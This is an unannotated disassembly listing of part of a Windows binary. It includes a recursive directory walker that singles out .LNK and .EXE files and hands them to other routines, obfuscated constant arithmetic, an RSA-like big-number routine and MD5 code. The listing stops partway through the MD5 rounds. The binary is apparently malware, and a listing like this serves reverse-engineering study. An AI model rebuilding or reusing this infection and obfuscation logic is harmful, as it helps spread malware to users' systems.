sub_423CF4	proc near		; CODE XREF: .data:0041B911p
					; sub_41C232+50p ...

var_252		= byte ptr -252h
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_423D21
		movsx	eax, word ptr ds:100120BCh
		add	eax, ds:1001218Ch
		sub	eax, 0Ah
		mov	[ebp+var_248], eax
		jmp	short loc_423D99
; ---------------------------------------------------------------------------


loc_423D21:				; CODE XREF: sub_423CF4+13j
		mov	edx, [ebp+arg_4]
		mov	ecx, ds:100121B0h
		cmp	ds:1000E630h[edx*4], ecx
		jnz	short loc_423D49
		push	ebx
		call	dword ptr ds:1000E608h
		mov	eax, ds:100120A8h
		sub	eax, 2
		push	eax
		call	dword ptr ds:10011660h


loc_423D49:				; CODE XREF: sub_423CF4+3Dj
		mov	eax, ds:100120F8h
		add	eax, 62h
		mov	[ebp+var_248], eax
		push	10012776h
		call	sub_4228CE
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_252]
		push	edx
		call	dword ptr ds:10011634h
		add	esp, 10h
		lea	eax, [ebp+var_252]
		push	eax
		call	dword ptr ds:10011664h
		cmp	eax, 3
		jnz	short loc_423D99
		movsx	eax, word ptr ds:10012148h
		add	eax, 129h
		mov	[ebp+var_248], eax


loc_423D99:				; CODE XREF: sub_423CF4+2Bj
					; sub_423CF4+91j
		xor	edi, edi
		inc	edi
		push	1001276Fh
		call	sub_4228CE
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	dword ptr ds:10011634h
		add	esp, 10h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_423DBD:				; CODE XREF: sub_423CF4+CEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423DBD
		mov	edx, eax
		movsx	ecx, word ptr ds:100120E8h
		movsx	eax, word ptr ds:100121A8h
		add	ecx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_423E75
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_423DE7:				; CODE XREF: sub_423CF4+F8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423DE7
		mov	ecx, ds:100121B8h
		add	ecx, 1
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 4Ch
		jnz	short loc_423E75
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_423E13:				; CODE XREF: sub_423CF4+124j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423E13
		mov	ecx, ds:10012118h
		add	ecx, 2
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 4Eh
		jnz	short loc_423E75
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_423E3F:				; CODE XREF: sub_423CF4+150j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423E3F
		mov	ecx, ds:10012144h
		add	ecx, ds:100120CCh
		sub	ecx, 4
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 4Bh
		jnz	short loc_423E75
		push	esi
		call	sub_41E2FF
		add	esp, 4


loc_423E75:				; CODE XREF: sub_423CF4+E8j
					; sub_423CF4+118j ...
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_423E7A:				; CODE XREF: sub_423CF4+18Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423E7A
		mov	edx, eax
		movsx	ecx, word ptr ds:100121A8h
		movsx	eax, word ptr ds:10012154h
		add	ecx, eax
		sub	ecx, 3
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_423F37
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_423EA7:				; CODE XREF: sub_423CF4+1B8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423EA7
		mov	ecx, ds:10012190h
		add	ecx, 1
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_423F37
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_423ED3:				; CODE XREF: sub_423CF4+1E4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423ED3
		mov	edx, eax
		sub	edx, ds:100121C0h
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_423F37
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_423EFA:				; CODE XREF: sub_423CF4+20Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423EFA
		movsx	ecx, word ptr ds:10012180h
		add	ecx, ds:1001209Ch
		sub	ecx, 0Ch
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000C030h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_423F37
		push	[ebp+var_248]
		push	esi
		call	sub_422E53
		add	esp, 8


loc_423F37:				; CODE XREF: sub_423CF4+1A8j
					; sub_423CF4+1D8j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:1000F258h
		mov	ebx, eax
		movsx	eax, word ptr ds:100120E0h
		movsx	edx, word ptr ds:10012154h
		add	eax, edx
		sub	eax, 7
		neg	eax
		cmp	ebx, eax
		jz	loc_42400E
		cmp	[ebp+var_112], 2Eh
		jz	loc_42400A
		lea	eax, [ebp+var_112]
		push	eax
		push	esi
		push	10012769h
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:10011634h
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_423CF4
		add	esp, 1Ch
		jmp	short loc_42400A
; ---------------------------------------------------------------------------


loc_423FA8:				; CODE XREF: sub_423CF4+318j
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	dword ptr ds:1000D004h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_423FD2
		push	[ebp+var_248]
		call	dword ptr ds:10011630h
		pop	ecx
		push	ebx
		call	dword ptr ds:1000E608h
		jmp	short loc_42400E
; ---------------------------------------------------------------------------


loc_423FD2:				; CODE XREF: sub_423CF4+2C6j
		cmp	[ebp+var_112], 2Eh
		jz	short loc_42400A
		lea	eax, [ebp+var_112]
		push	eax
		push	esi
		push	10012769h
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:10011634h
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_423CF4
		add	esp, 1Ch


loc_42400A:				; CODE XREF: sub_423CF4+27Dj
					; sub_423CF4+2B2j ...
		or	edi, edi
		jnz	short loc_423FA8


loc_42400E:				; CODE XREF: sub_423CF4+270j
					; sub_423CF4+2DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424013	proc near		; CODE XREF: sub_4232A3+120p

var_270		= byte ptr -270h
var_26C		= dword	ptr -26Ch
var_267		= byte ptr -267h
var_203		= byte ptr -203h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 270h
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000E5FCh
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_41C3F2
		push	10012764h
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_267]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000C020h
		push	1001275Ch
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		add	esp, 24h
		push	0
		mov	eax, ds:10012174h
		movsx	edx, word ptr ds:10012090h
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		movsx	eax, word ptr ds:100120D0h
		push	eax
		push	80000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10011788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4240C3
		mov	eax, 2Ah
		jmp	short loc_42412C
; ---------------------------------------------------------------------------


loc_4240C3:				; CODE XREF: sub_424013+A7j
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_203]
		push	eax
		push	edi
		call	dword ptr ds:1000C028h
		mov	[ebp+var_26C], eax
		push	edi
		call	dword ptr ds:10010650h
		mov	eax, ds:1001218Ch
		add	eax, ds:1001215Ch
		sub	eax, 5
		cmp	[ebp+var_26C], eax
		jnz	short loc_424109
		mov	eax, 2Ah
		jmp	short loc_42412C
; ---------------------------------------------------------------------------


loc_424109:				; CODE XREF: sub_424013+EDj
		movzx	eax, [ebp+var_203]
		movsx	edx, word ptr ds:10012090h
		add	edx, 20h
		cmp	eax, edx
		jge	short loc_424125
		mov	eax, 2Ah
		jmp	short loc_42412C
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_424013+109j
		movzx	eax, [ebp+var_203]


loc_42412C:				; CODE XREF: sub_424013+AEj
					; sub_424013+F4j ...
		pop	edi
		pop	esi
		leave
		retn
sub_424013	endp


; =============== S U B	R O U T	I N E =======================================



sub_424130	proc near		; CODE XREF: sub_4223D9+270p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		movsx	eax, word ptr ds:10012170h
		dec	eax
		cmp	ecx, eax
		jge	short loc_42416E
		movsx	eax, word ptr ds:10012180h
		dec	eax
		imul	ecx, eax
		mov	eax, ds:10012178h
		sub	eax, 2
		mov	edx, esi
		add	edx, eax
		movsx	eax, word ptr ds:10012090h
		add	eax, 3
		imul	edx, eax
		sub	ecx, edx
		jmp	loc_42429E
; ---------------------------------------------------------------------------


loc_42416E:				; CODE XREF: sub_424130+11j
		dec	ecx
		movsx	eax, word ptr ds:10012090h
		mov	edx, ds:100120F8h
		lea	eax, [eax+edx+11h]
		cmp	ecx, eax
		jge	short loc_4241A5
		mov	eax, ds:1001212Ch
		sub	eax, 3
		imul	ecx, eax
		mov	eax, ecx
		sub	eax, esi
		mov	edx, ds:10012104h
		add	edx, 0Ah
		mov	ecx, eax
		sub	ecx, edx
		jmp	loc_42429E
; ---------------------------------------------------------------------------


loc_4241A5:				; CODE XREF: sub_424130+52j
		dec	ecx
		movsx	eax, word ptr ds:10012110h
		add	eax, 1Eh
		cmp	ecx, eax
		jge	short loc_4241DA
		mov	eax, ds:10012184h
		add	eax, ds:10012130h
		sub	eax, 3
		imul	ecx, eax
		mov	eax, ds:10012178h
		add	eax, 3Ah
		add	eax, ds:10012144h
		sub	ecx, eax
		jmp	loc_42429E
; ---------------------------------------------------------------------------


loc_4241DA:				; CODE XREF: sub_424130+82j
		dec	ecx
		mov	eax, ds:10012120h
		add	eax, 22h
		cmp	ecx, eax
		jge	short loc_424201
		mov	eax, ds:100121C4h
		sub	eax, 3
		imul	ecx, eax
		mov	eax, ds:100120B8h
		add	eax, 42h
		sub	ecx, eax
		jmp	loc_42429E
; ---------------------------------------------------------------------------


loc_424201:				; CODE XREF: sub_424130+B5j
		dec	ecx
		mov	eax, ds:100121C0h
		add	eax, 24h
		movsx	edx, word ptr ds:100120E8h
		add	eax, edx
		cmp	ecx, eax
		jge	short loc_424235
		mov	eax, ds:100121C0h
		dec	eax
		imul	ecx, eax
		mov	eax, ds:100120FCh
		add	eax, 48h
		movsx	edx, word ptr ds:100120E8h
		add	eax, edx
		sub	ecx, eax
		jmp	short loc_42429E
; ---------------------------------------------------------------------------


loc_424235:				; CODE XREF: sub_424130+E5j
		dec	ecx
		mov	eax, ds:10012178h
		add	eax, 30h
		add	eax, ds:100121B8h
		cmp	ecx, eax
		jge	short loc_424265
		mov	eax, ds:10012178h
		add	eax, ds:10012164h
		dec	eax
		imul	ecx, eax
		movsx	eax, word ptr ds:100120BCh
		add	eax, 61h
		sub	ecx, eax
		jmp	short loc_42429E
; ---------------------------------------------------------------------------


loc_424265:				; CODE XREF: sub_424130+116j
		dec	ecx
		movsx	eax, word ptr ds:1001216Ch
		lea	eax, [eax+eax+31h]
		cmp	ecx, eax
		jge	short loc_42428E
		mov	eax, ds:1001212Ch
		sub	eax, 3
		imul	ecx, eax
		movsx	eax, word ptr ds:1001219Ch
		add	eax, 6Ah
		sub	ecx, eax
		jmp	short loc_42429E
; ---------------------------------------------------------------------------


loc_42428E:				; CODE XREF: sub_424130+143j
		mov	eax, ds:1001212Ch
		add	eax, 30h
		add	eax, ds:100120B8h
		sub	ecx, eax


loc_42429E:				; CODE XREF: sub_424130+39j
					; sub_424130+70j ...
		mov	eax, ecx
		pop	esi
		retn
sub_424130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242A2	proc near		; CODE XREF: .data:004229F0p

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10003	= byte ptr -10003h
var_10002	= byte ptr -10002h
var_10001	= byte ptr -10001h
var_10000	= byte ptr -10000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr ds:100122B0h,	0
		jnz	short loc_4242CF
		mov	eax, ds:1001214Ch
		add	eax, 4
		cmp	ds:1000E61Ch, eax
		jb	loc_4244FE


loc_4242CF:				; CODE XREF: sub_4242A2+17j
		lea	eax, [ebp+var_10020]
		push	eax
		call	dword ptr ds:1000C038h
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		mov	eax, ds:100120F8h
		sub	eax, 2
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000F254h
		mov	edi, eax
		mov	eax, ds:10012190h
		add	eax, ds:10012098h
		sub	eax, 0Ah
		cmp	edi, eax
		jnz	loc_4244FE
		mov	esi, [ebp+var_10018]
		and	[ebp+var_1000C], 0
		lea	eax, [ebp+var_1000C]
		push	eax
		push	1001397Ch
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, ds:100121C0h
		sub	eax, 3
		cmp	edi, eax
		jnz	loc_4244FE
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		cmp	edi, ds:100121A4h
		jnz	loc_4244F8
		lea	eax, [ebp+var_10003]
		push	eax
		push	[ebp+var_10024]
		call	sub_41ADCD
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	dword ptr ds:10011BA0h
		cmp	[ebp+var_10003], 68h
		jnz	short loc_4243BA
		cmp	[ebp+var_10002], 74h
		jnz	short loc_4243BA
		cmp	[ebp+var_10001], 74h
		jnz	short loc_4243BA
		cmp	[ebp+var_10000], 70h
		jz	short loc_4243BF


loc_4243BA:				; CODE XREF: sub_4242A2+FBj
					; sub_4242A2+104j ...
		jmp	loc_4244F8
; ---------------------------------------------------------------------------


loc_4243BF:				; CODE XREF: sub_4242A2+116j
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, ds:10012160h
		add	eax, ds:10012158h
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_4244F8
		lea	eax, [ebp+var_4]
		push	eax
		push	100138FCh
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, ds:100120B4h
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_4244EC
		lea	eax, [ebp+var_10008]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		mov	eax, ds:100120E4h
		add	eax, ds:10012144h
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_4244E3
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		movsx	eax, word ptr ds:10012128h
		add	eax, ds:100120F8h
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_424477
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	short loc_4244E3
; ---------------------------------------------------------------------------


loc_424477:				; CODE XREF: sub_4242A2+1C5j
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_10008], eax
		jz	short loc_42448A
		xor	ebx, ebx
		inc	ebx


loc_42448A:				; CODE XREF: sub_4242A2+1E3j
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_4244E3
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		mov	eax, ds:100120A8h
		sub	eax, 3
		cmp	edi, eax
		jnz	short loc_4244E3
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	nullsub_1
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	sub_423996
		add	esp, 10h


loc_4244E3:				; CODE XREF: sub_4242A2+198j
					; sub_4242A2+1D3j ...
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_4244EC:				; CODE XREF: sub_4242A2+16Dj
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_4244F8:				; CODE XREF: sub_4242A2+C4j
					; sub_4242A2:loc_4243BAj ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_4244FE:				; CODE XREF: sub_4242A2+27j
					; sub_4242A2+6Ej ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242A2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424505	proc near		; CODE XREF: sub_41B3A8+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, ds:100139CCh
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_4245D0
		xor	edx, edx


loc_424535:				; CODE XREF: sub_424505+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_424547
		mov	edx, [ebp+arg_4]
		call	sub_424561


loc_424547:				; CODE XREF: sub_424505+38j
		lea	edx, ds:100139CCh
		call	sub_424561
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_424535
		popa
		pop	ebp
		retn	10h
sub_424505	endp

; ---------------------------------------------------------------------------
		dw 8B2Eh
		db 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_424561	proc near		; CODE XREF: sub_424505+3Dp
					; sub_424505+48p
		lea	edi, ds:1001398Ch
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, ds:100139CCh
		call	sub_4245D0


loc_42457B:				; CODE XREF: sub_424561+5Dj
		lea	edi, ds:1001398Ch
		mov	ecx, 10h
		xor	eax, eax


loc_424588:				; CODE XREF: sub_424561+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_424588
		call	sub_4245E1
		bt	ds:100139CCh, ebx
		jnb	short loc_4245BD
		mov	esi, edx
		lea	edi, ds:1001398Ch
		xor	eax, eax
		mov	ecx, 10h


loc_4245AC:				; CODE XREF: sub_424561+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_4245AC
		call	sub_4245E1


loc_4245BD:				; CODE XREF: sub_424561+3Aj
		dec	ebx
		jns	short loc_42457B
		mov	edi, edx
		lea	esi, ds:1001398Ch
		mov	ecx, 10h
		rep movsd
		retn
sub_424561	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245D0	proc near		; CODE XREF: sub_424505+29p
					; sub_424561+15p
		mov	ebx, 1FFh


loc_4245D5:				; CODE XREF: sub_4245D0+Bj
		bt	[edi], ebx
		jb	short locret_4245DD
		dec	ebx
		jnz	short loc_4245D5

locret_4245DD:				; CODE XREF: sub_4245D0+8j
		retn
sub_4245D0	endp

; ---------------------------------------------------------------------------
		dw 8B2Eh
		db 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_4245E1	proc near		; CODE XREF: sub_424561+2Ep
					; sub_424561+57p
		lea	esi, ds:1001398Ch
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_4245EF:				; CODE XREF: sub_4245E1+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_424618
		ja	short loc_4245FC
		dec	ecx
		jns	short loc_4245EF


loc_4245FC:				; CODE XREF: sub_4245E1+16j
		mov	esi, [ebp+14h]
		lea	edi, ds:1001398Ch
		xor	eax, eax
		mov	ecx, 10h


loc_42460C:				; CODE XREF: sub_4245E1+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_42460C

locret_424618:				; CODE XREF: sub_4245E1+14j
		retn
sub_4245E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424619	proc near		; CODE XREF: sub_42466A+32p
					; sub_42466A+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_424619	endp


; =============== S U B	R O U T	I N E =======================================



sub_424626	proc near		; CODE XREF: sub_42466A+219p
					; sub_42466A+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_424626	endp


; =============== S U B	R O U T	I N E =======================================



sub_424633	proc near		; CODE XREF: sub_42466A+420p
					; sub_42466A+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_424633	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463A	proc near		; CODE XREF: sub_42466A+627p
					; sub_42466A+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_42463A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424643	proc near		; CODE XREF: sub_41C68E+6Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_424643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42466A	proc near		; CODE XREF: sub_41C68E+8Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	ds:10013A0Ch, eax
		mov	eax, [edi+4]
		mov	ds:10013A10h, eax
		mov	eax, [edi+8]
		mov	ds:10013A14h, eax
		mov	eax, [edi+0Ch]
		mov	ds:10013A18h, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424619
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424619
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424619
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424619
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424619
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424619
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424619
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424619
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424619
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424619
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424619
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424619
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424619
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424619
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_424619
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_424626
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_424626
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_424626
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
